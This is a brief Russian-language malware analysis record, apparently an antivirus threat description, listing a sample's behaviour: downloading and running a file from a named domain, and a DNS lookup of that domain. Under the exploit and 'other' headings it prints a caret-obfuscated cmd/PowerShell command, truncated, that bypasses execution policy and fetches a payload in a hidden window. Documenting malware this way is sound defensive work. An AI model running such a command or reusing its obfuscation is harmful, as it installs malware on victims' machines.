Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://hometowergop.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "p^o^wE^rS^h^e^ll.e^xe^ -^exE^cU^tIO^N^PO^lICy b^YP^ASS^ -n^OPRo^F^ile^ -w^INdo^w^st^YlE hidd^EN (^n^ew-ob^J^E^C^T sYSt^Em.Net.W^EbC^lI^e^N^t^)^.D^OW^nLoaDFI^l^e^('http://homet...
Сетевая активность
UDP
- DNS ASK ho####wergop.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "p^o^wE^rS^h^e^ll.e^xe^ -^exE^cU^tIO^N^PO^lICy b^YP^ASS^ -n^OPRo^F^ile^ -w^INdo^w^st^YlE hidd^EN (^n^ew-ob^J^E^C^T sYSt^Em.Net.W^EbC^lI^e^N^t^)^.D^OW^nLoaDFI^l^e^('http://homet...' (со скрытым окном)
